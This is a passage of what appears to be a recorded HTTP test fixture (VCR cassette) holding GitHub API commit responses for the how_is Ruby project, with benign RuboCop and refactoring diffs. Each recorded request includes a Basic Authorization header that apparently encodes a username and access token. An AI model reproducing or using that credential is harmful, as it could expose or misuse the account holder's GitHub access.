multi_xml (~> 0.5)\n rack (>= 1.2, < 3)\n openssl-better_defaults (0.0.1)\n+ parallel (1.11.2)\n parser (2.4.0.0)\n ast (~> 2.2)\n powerpack (0.1.1)\n@@ -70,7 +71,8 @@ GEM\n diff-lcs (>= 1.2.0, < 2.0)\n rspec-support (~> 3.6.0)\n rspec-support (3.6.0)\n- rubocop (0.47.1)\n+ rubocop (0.49.1)\n+ parallel (~> 1.10)\n parser (>= 2.3.3.1, < 3.0)\n powerpack (~> 0.1)\n rainbow (>= 1.99.1, < 3.0)\n@@ -101,7 +103,7 @@ DEPENDENCIES\n how_is!\n rake (~> 11.2)\n rspec (~> 3.5)\n- rubocop (~> 0.47.0)\n+ rubocop (~> 0.49.1)\n timecop (~> 0.8.1)\n vcr (~> 3.0)\n webmock"},{"sha":"8b07f0263bcd61bb1232174c001527e88e08cbd9","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -31,5 +31,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"timecop\", \"~> 0.8.1\"\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n- spec.add_development_dependency \"rubocop\", \"~> 0.47.0\"\n+ spec.add_development_dependency \"rubocop\", \"~> 0.49.1\"\n end"},{"sha":"24de833b8e3f070519e9cba2daf5c9afc2e3cbc4","filename":"lib/how_is/analyzer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -142,7 +142,7 @@ def average_age_for(issues_or_pulls)\n [months, \"month\"],\n [weeks, \"week\"],\n [days, \"day\"],\n- ].reject { |(v, _)| v == 0 }.map { |(v, k)|\n+ ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n k += ''s'' if v != 1\n [v, k]\n }"},{"sha":"a8679c512f23dbf1a7d88ca48a4646706b207093","filename":"lib/how_is/pulse.rb","status":"modified","additions":18,"deletions":17,"changes":35,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -14,30 +14,31 @@ def initialize(repository)\n @pulse_page_response = fetch_pulse!(repository)\n end\n \n- # This is probably dead code.\n- def text_summary\n- raise NotImplementedError\n- end\n-\n # Gets the HTML Pulse summary.\n def html_summary\n- parts =\n- @pulse_page_response.body\n- .split(''
'')\n-\n- if parts.length == 1\n- return \"There hasn''t been any activity on #{@repository} in the last month.\"\n+ if stats_section?\n+ stats_html_fragment.gsub('''').first\n- .gsub(''''\n+\n+ def stats_section?\n+ parts.count > 1\n+ end\n+\n+ def parts\n+ @parts ||= @pulse_page_response.body.split(HTML_SEPARATOR_FOR_STATS)\n+ end\n+\n+ def stats_html_fragment\n+ parts.last.split(''
'').first.strip\n+ end\n+\n # Fetch Pulse page from GitHub for scraping.\n def fetch_pulse!(repository)\n Tessellator::Fetcher.new.call(''get'', \"https://github.com/#{repository}/pulse/monthly\")"},{"sha":"8a2821617685c17fa151aadc6b301f2ba8ddf63b","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -131,7 +131,7 @@ def issue_or_pr_summary(type, type_label)\n oldest = a.send(\"oldest_#{type}\")\n newest = a.send(\"newest_#{type}\")\n \n- if number_of_type == 0\n+ if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\""},{"sha":"47def880706a0f7bd4d7de6b2d9a189708133d06","filename":"spec/how_is_spec.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -109,7 +109,7 @@\n end\n \n # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n- # rubocop:disable Style/BracesAroundHashParameters\n+ # rubocop:disable Layout/BracesAroundHashParameters\n context ''#generate_frontmatter'' do\n it ''works with frontmatter parameter using String keys, report_data using String keys'' do\n actual = nil"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:38 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3378' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5c4d1d878404994d6f3d911a4a5eedc2" Last-Modified: - Sun, 16 Jul 2017 15:28:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 3C5F:517A:289B7E:52BC6D:5CC36AE6 body: encoding: ASCII-8BIT string: '{"sha":"5d095a66c973e014b916112da522d39744a8aac9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWQwOTVhNjZjOTczZTAxNGI5MTYxMTJkYTUyMmQzOTc0NGE4YWFjOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:28:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:28:21Z"},"message":"Merge branch ''master'' into fix/update-rubocop-to-latest","tree":{"sha":"bae15ff5cbbdd44d18942b037f3098cb890a3bd2","url":"https://api.github.com/repos/how-is/how_is/git/trees/bae15ff5cbbdd44d18942b037f3098cb890a3bd2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5d095a66c973e014b916112da522d39744a8aac9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9","html_url":"https://github.com/how-is/how_is/commit/5d095a66c973e014b916112da522d39744a8aac9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"117d54a5908e397d5dcc7a71960c357970febbbc","url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc","html_url":"https://github.com/how-is/how_is/commit/117d54a5908e397d5dcc7a71960c357970febbbc"},{"sha":"47d3346d5402c1f1084978b22956324af6860f80","url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80"}],"stats":{"total":24,"additions":12,"deletions":12},"files":[{"sha":"5d467be36a655141d2c34fab3d02f3cd964aa75e","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/5d095a66c973e014b916112da522d39744a8aac9/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/5d095a66c973e014b916112da522d39744a8aac9/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=5d095a66c973e014b916112da522d39744a8aac9","patch":"@@ -1,4 +1,6 @@\n AllCops:\n+ DisplayCopNames: true\n+ DisplayStyleGuide: true\n TargetRubyVersion: 2.3\n Exclude:\n - ''how_is.gemspec''"},{"sha":"bb9e09a8971545e5345c4e4a722fa2c9d22fa827","filename":"exe/how_is","status":"modified","additions":6,"deletions":10,"changes":16,"blob_url":"https://github.com/how-is/how_is/blob/5d095a66c973e014b916112da522d39744a8aac9/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/5d095a66c973e014b916112da522d39744a8aac9/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=5d095a66c973e014b916112da522d39744a8aac9","patch":"@@ -8,11 +8,9 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n+ raise if ENV[''SHOW_TRACE'']\n+\n+ abort \"Error: #{e.message}\"\n end\n \n options = result[:options]\n@@ -45,9 +43,7 @@ begin\n )\n end\n rescue => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n+ raise if ENV[''SHOW_TRACE'']\n+\n+ abort \"Error: #{e.message}\"\n end"},{"sha":"824fd0be706c2884b906708c5337d70369422d74","filename":"lib/how_is/fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/5d095a66c973e014b916112da522d39744a8aac9/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/5d095a66c973e014b916112da522d39744a8aac9/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=5d095a66c973e014b916112da522d39744a8aac9","patch":"@@ -15,7 +15,7 @@ class Fetcher\n #\n # Implemented as a class instead of passing around a Hash so that it can\n # be more easily referenced by Contracts.\n- class Results < Struct.new(:repository, :issues, :pulls, :pulse)\n+ Results = Struct.new(:repository, :issues, :pulls, :pulse) do\n include Contracts::Core\n \n Contract String, C::ArrayOf[Hash], C::ArrayOf[Hash], String => nil"},{"sha":"8a2821617685c17fa151aadc6b301f2ba8ddf63b","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/5d095a66c973e014b916112da522d39744a8aac9/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/5d095a66c973e014b916112da522d39744a8aac9/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=5d095a66c973e014b916112da522d39744a8aac9","patch":"@@ -3,9 +3,11 @@\n require ''json''\n \n class HowIs\n+ BaseReport = Struct.new(:analysis)\n+\n ##\n # Subclasses of BaseReport represent complete reports.\n- class BaseReport < Struct.new(:analysis)\n+ class BaseReport\n def generate_report_text!\n # title, text, header, horizontal_bar_graph, etc,\n # append to @r, which is returned at the end of the function."}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:38 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3377' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1e2c4438c412e570cd7818593b4fe52e" Last-Modified: - Sun, 16 Jul 2017 15:26:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - D103:5092:13AC81:305380:5CC36AE6 body: encoding: ASCII-8BIT string: '{"sha":"47d3346d5402c1f1084978b22956324af6860f80","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDdkMzM0NmQ1NDAyYzFmMTA4NDk3OGIyMjk1NjMyNGFmNjg2MGY4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:26:56Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:26:56Z"},"message":"Merge pull request #173 from olleolleolle/fix/rubocop-warns\n\nRubocop warning removal","tree":{"sha":"8e3d60d4460b510622168a2a658d5723038cc54b","url":"https://api.github.com/repos/how-is/how_is/git/trees/8e3d60d4460b510622168a2a658d5723038cc54b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/47d3346d5402c1f1084978b22956324af6860f80","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80","comments_url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0"},{"sha":"dd9f993d32863a10efcad8091fb31c730c0e06aa","url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","html_url":"https://github.com/how-is/how_is/commit/dd9f993d32863a10efcad8091fb31c730c0e06aa"}],"stats":{"total":23,"additions":10,"deletions":13},"files":[{"sha":"bb9e09a8971545e5345c4e4a722fa2c9d22fa827","filename":"exe/how_is","status":"modified","additions":6,"deletions":11,"changes":17,"blob_url":"https://github.com/how-is/how_is/blob/47d3346d5402c1f1084978b22956324af6860f80/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/47d3346d5402c1f1084978b22956324af6860f80/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=47d3346d5402c1f1084978b22956324af6860f80","patch":"@@ -8,11 +8,9 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n+ raise if ENV[''SHOW_TRACE'']\n+\n+ abort \"Error: #{e.message}\"\n end\n \n options = result[:options]\n@@ -45,10 +43,7 @@ begin\n )\n end\n rescue => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n-end\n+ raise if ENV[''SHOW_TRACE'']\n \n+ abort \"Error: #{e.message}\"\n+end"},{"sha":"824fd0be706c2884b906708c5337d70369422d74","filename":"lib/how_is/fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/47d3346d5402c1f1084978b22956324af6860f80/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/47d3346d5402c1f1084978b22956324af6860f80/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=47d3346d5402c1f1084978b22956324af6860f80","patch":"@@ -15,7 +15,7 @@ class Fetcher\n #\n # Implemented as a class instead of passing around a Hash so that it can\n # be more easily referenced by Contracts.\n- class Results < Struct.new(:repository, :issues, :pulls, :pulse)\n+ Results = Struct.new(:repository, :issues, :pulls, :pulse) do\n include Contracts::Core\n \n Contract String, C::ArrayOf[Hash], C::ArrayOf[Hash], String => nil"},{"sha":"58c81e910dd666cc2f721cb3a699cfe19e9d2f8c","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/47d3346d5402c1f1084978b22956324af6860f80/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/47d3346d5402c1f1084978b22956324af6860f80/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=47d3346d5402c1f1084978b22956324af6860f80","patch":"@@ -3,9 +3,11 @@\n require ''json''\n \n class HowIs\n+ BaseReport = Struct.new(:analysis)\n+\n ##\n # Subclasses of BaseReport represent complete reports.\n- class BaseReport < Struct.new(:analysis)\n+ class BaseReport\n def generate_report_text!\n # title, text, header, horizontal_bar_graph, etc,\n # append to @r, which is returned at the end of the function."}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:39 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3376' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0bc2546ae7fcc8e6f2dc8c05787a151e" Last-Modified: - Sun, 16 Jul 2017 15:02:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 1B30:6D3E:27356F:4F6D73:5CC36AE7 body: encoding: ASCII-8BIT string: '{"sha":"dd9f993d32863a10efcad8091fb31c730c0e06aa","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGQ5Zjk5M2QzMjg2M2ExMGVmY2FkODA5MWZiMzFjNzMwYzBlMDZhYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:02:53Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:02:53Z"},"message":"Merge branch ''master'' into fix/rubocop-warns","tree":{"sha":"8e3d60d4460b510622168a2a658d5723038cc54b","url":"https://api.github.com/repos/how-is/how_is/git/trees/8e3d60d4460b510622168a2a658d5723038cc54b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","html_url":"https://github.com/how-is/how_is/commit/dd9f993d32863a10efcad8091fb31c730c0e06aa","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"513d0082b1616f35517f0f56deb1aa976858e251","url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251","html_url":"https://github.com/how-is/how_is/commit/513d0082b1616f35517f0f56deb1aa976858e251"},{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"5a9c61df4787a83add6b10c0b328becf123e1848","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/dd9f993d32863a10efcad8091fb31c730c0e06aa/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/dd9f993d32863a10efcad8091fb31c730c0e06aa/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=dd9f993d32863a10efcad8091fb31c730c0e06aa","patch":"@@ -1,4 +1,6 @@\n AllCops:\n+ DisplayCopNames: true\n+ DisplayStyleGuide: true\n TargetRubyVersion: 2.3\n Exclude:\n - ''how_is.gemspec''"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:39 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3375' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"57316c8af7337ffabe0b90ed97f12df1" Last-Modified: - Sun, 16 Jul 2017 15:02:09 GMT X-Oauth-Scopes: - '' 